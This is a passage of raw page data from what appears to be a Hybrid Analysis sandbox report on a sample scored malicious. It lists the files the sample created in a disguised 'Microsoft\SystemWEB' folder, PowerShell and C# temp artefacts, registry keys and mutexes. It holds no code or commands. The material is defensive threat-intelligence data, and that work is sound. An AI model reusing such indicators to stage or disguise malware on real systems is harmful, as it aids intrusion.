he__\\yacc.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\__pycache__\\clr.cpython-312.pyc.2406833945136","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pythonnet\\__pycache__\\__init__.cpython-312.pyc.2406833869360","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\__pycache__\\__init__.cpython-312.pyc.2406833875984","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\__pycache__\\types.cpython-312.pyc.2406837751648","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\util\\__pycache__\\__init__.cpython-312.pyc.2406845317168","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\util\\__pycache__\\clr_error.cpython-312.pyc.2406845317600","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\util\\__pycache__\\coreclr_errors.cpython-312.pyc.2406845275056","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\util\\__pycache__\\find.cpython-312.pyc.2406845318032","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\util\\__pycache__\\runtime_spec.cpython-312.pyc.2406845318320","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\util\\__pycache__\\hostfxr_errors.cpython-312.pyc.2406845736688","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\__pycache__\\netfx.cpython-312.pyc.2406845321344","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\ffi\\__pycache__\\__init__.cpython-312.pyc.2406845323648","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\__pycache__\\__init__.cpython-312.pyc.2406845295920","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\__pycache__\\api.cpython-312.pyc.2406845296944","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\__pycache__\\lock.cpython-312.pyc.2406846166448","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\__pycache__\\error.cpython-312.pyc.2406846165808","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\__pycache__\\model.cpython-312.pyc.2406846162864","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\ffi\\__pycache__\\hostfxr.cpython-312.pyc.2406845329552","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\ffi\\__pycache__\\mono.cpython-312.pyc.2406845329696","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\ffi\\__pycache__\\netfx.cpython-312.pyc.2406845329840","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\__pycache__\\cparser.cpython-312.pyc.2406846159024","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\__pycache__\\commontypes.cpython-312.pyc.2406845331136","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_pd3mqleg.dcc.ps1","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_1d0evfzb.nyl.psm1","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%WINDIR%\\System32\\config\\systemprofile","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%TEMP%\\5aat0yyl\\5aat0yyl.tmp","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%TEMP%\\5aat0yyl\\5aat0yyl.0.cs","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%TEMP%\\5aat0yyl\\5aat0yyl.dll","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%TEMP%\\5aat0yyl\\5aat0yyl.cmdline","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%TEMP%\\5aat0yyl\\5aat0yyl.out","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%TEMP%\\5aat0yyl\\5aat0yyl.err","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E122B924-B4ED-4437-BC94-A96B6AA901B6}","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{45F5205B-FA7A-11ED-8886-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\SOFTWARE\\MICROSOFT\\TIP\\AGGREGATERESULTS\\","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\TENANTRESTRICTIONS\\PAYLOAD\\","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4460:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Microsoft.Windows.Health.TestInProduction.RegistryStore.AggregateResults","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"Local\\SM0:4460:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"Microsoft.Windows.Health.TestInProduction.RegistryStore.AggregateResults","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"Local\\SM0:4460:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"SM0:4460:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4460:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4460:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1196:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1196:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1196:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"Local\\SM0:1196:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"SM0:1196:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"Local\\SM0:1196:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8164:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"Local\\SM0:8164:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7268:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"Local\\SM0:7268:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7744:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7744:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"Local\\SM0:7744:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"SM0:7744:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"Local\\SM0:7744:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7744:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]}]}},"report_ids":{"sandbox_job_ids":["6965de992d7aa6aac6018732"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Sample ee0f0f2f089e… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample ee0f0f2f089e…. Threat score 100/100. 0/26 AV engines flagged this file. 6 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/ee0f0f2f089ee0594da5750bb4e342c34d703ea045ed80c3b73c81d2f3de8bd4"}],["$","meta","4",{"property":"og:title","content":"Malicious Sample ee0f0f2f089e… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample ee0f0f2f089e…. Threat score 100/100. 0/26 AV engines flagged this file. 6 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/ee0f0f2f089ee0594da5750bb4e342c34d703ea045ed80c3b73c81d2f3de8bd4"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Sample ee0f0f2f089e… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample ee0f0f2f089e…. Threat score 100/100. 0/26 AV engines flagged this file. 6 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L6b","11",{}]]